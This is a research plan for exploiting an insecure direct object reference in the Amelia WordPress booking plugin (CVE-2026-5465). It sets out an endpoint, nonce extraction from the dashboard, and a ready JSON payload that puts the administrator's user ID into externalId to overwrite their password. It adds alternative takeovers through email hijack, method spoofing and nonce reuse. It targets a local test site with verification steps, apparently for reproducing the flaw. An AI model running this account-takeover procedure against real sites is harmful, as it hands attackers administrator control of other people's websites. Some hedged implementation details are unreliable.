Research Plan: CVE-2026-5465 Amelia Privilege Escalation

1. Vulnerability Summary

The Amelia plugin (<= 2.1.3) contains an Insecure Direct Object Reference (IDOR) vulnerability in the UpdateProviderCommandHandler. When an authenticated user with "Provider" (Amelia Employee) privileges updates their own profile, the application fails to validate the externalId parameter. In Amelia's architecture, externalId maps directly to a WordPress User ID. Because this value is passed to sensitive WordPress functions like wp_update_user() and wp_set_password() without verifying that the externalId matches the authenticated user's own ID, a Provider can modify the credentials of any WordPress user, including Administrators.

2. Attack Vector Analysis

• Endpoint: admin-ajax.php?action=wpamelia_api&call=/users/providers/{id}
• Method: POST (Amelia uses POST for updates, often mimicking RESTful PUT behavior via route handling).
• Vulnerable Parameter: externalId (within the JSON request body).
• Authentication Required: Authenticated user with the Amelia Employee (Provider) role.
• Preconditions: The attacker must know the WordPress User ID of the target (typically 1 for the primary administrator).

3. Code Flow

1. Entry Point: ameliabooking.php registers the AJAX action wpamelia_api via Plugin::wpAmeliaApiCall().
2. Routing: Routes::routes($app, $container) defines the Slim framework routes. The route /users/providers/{id} is mapped to the UpdateProviderCommandHandler.
3. Command Handling: UpdateProviderCommandHandler receives the request. It extracts data from the JSON body, including the externalId.
4. Authorization Failure: The handler checks if the authenticated user is a Provider and is updating their own Amelia ID ({id}). However, it does not check if the externalId (the WP User ID) belongs to that same user.
5. Sink: The command handler or the underlying UserService/UserRepository calls wp_update_user() or wp_set_password() using the attacker-supplied externalId.

4. Nonce Acquisition Strategy

Amelia requires a WordPress nonce for all wpamelia_api AJAX calls. For authenticated backend users (Employees/Admins), the nonce is generated and localized for the Vue.js dashboard.

1. Login: Authenticate as the Provider (Employee) user.
2. Identify Page: The Amelia backend dashboard is usually located at /wp-admin/admin.php?page=wpamelia-dashboard or /wp-admin/admin.php?page=wpamelia-employees.
3. Extraction:
   • Amelia typically localizes its configuration in the wpAmeliaNonce global variable or within a large configuration object.
   • Action: Navigate to the Amelia Employees page in the WordPress backend.
   • JS Command: browser_eval("window.wpAmeliaNonce") or browser_eval("ameliaBookingData.nonce").
   • Note: In version 2.1.3, the common variable is window.wpAmeliaNonce.

5. Exploitation Strategy

Step 1: Data Setup

• Create a WordPress user with the Amelia Employee role.
• Ensure the Amelia plugin is configured so this user is recognized as a "Provider" within the Amelia > Employees section.
• Identify the target Admin's WP User ID (default: 1).

Step 2: Obtain Nonce and Provider ID

• Log in as the Employee.
• Navigate to the WordPress Admin area.
• Retrieve the wpAmeliaNonce.
• Retrieve the Employee's Amelia Provider ID (can be seen in the URL when editing the profile or via a GET request to /users/providers).

Step 3: Execute Hijack Request

Send a POST request to update the profile, injecting the Administrator's WP ID into externalId.

• URL: http://localhost:8080/wp-admin/admin-ajax.php?action=wpamelia_api&call=/users/providers/{PROVIDER_ID}
• Headers:
  • Content-Type: application/json
  • X-Amelia-Nonce: {NONCE_VALUE} (Amelia sometimes expects the nonce in a custom header or as a wpAmeliaNonce parameter in the body/URL).
• Payload (JSON):

{
  "id": {PROVIDER_ID},
  "firstName": "Attacker",
  "lastName": "User",
  "email": "attacker@example.com",
  "externalId": 1,
  "password": "pwned_password123",
  "status": "visible"
}

Step 4: Access Admin Account

• Log out.
• Log in to /wp-login.php as the Administrator (e.g., username admin) using the password pwned_password123.

6. Test Data Setup

1. Target User: User ID 1 (Admin).
2. Attacker User: Create WP user employee_atk, role subscriber (Amelia will elevate this or link it).
3. Amelia Config:
   • Go to Amelia > Employees.
   • Add employee_atk as an Employee.
   • Record the internal Amelia ID assigned to them (e.g., 5).

7. Expected Results

• The API should return a 200 OK or 201 Created response with a JSON body confirming the update.
• The WordPress database (wp_users table) will reflect the change for User ID 1.
• The Administrator will no longer be able to log in with their original password.

8. Verification Steps

1. Check via WP-CLI:

   # Check if the admin user's email was changed
   wp user get 1 --fields=user_email
   
   # Check if the password was updated (attempt login)
   wp user check-password admin pwned_password123
   

2. Verify Amelia State:

   # Check if the provider is now linked to the admin ID in Amelia tables
   wp db query "SELECT * FROM wp_amelia_users WHERE id = {PROVIDER_ID}"
   

9. Alternative Approaches

• Email Hijack: Instead of changing the password, change the email field associated with externalId: 1. Then use the WordPress "Lost your password?" feature to reset the Admin password via the attacker's email.
• Method Spoofing: If the endpoint expects PUT, Amelia's Slim implementation might require an X-HTTP-Method-Override: PUT header or a _method: PUT parameter in the JSON body.
• Generic Nonce: Check if the nonce used for public bookings (often found on the frontend page with the [ameliabooking] shortcode) is accepted by the backend API. (Though the vulnerability specifies Employee-level access).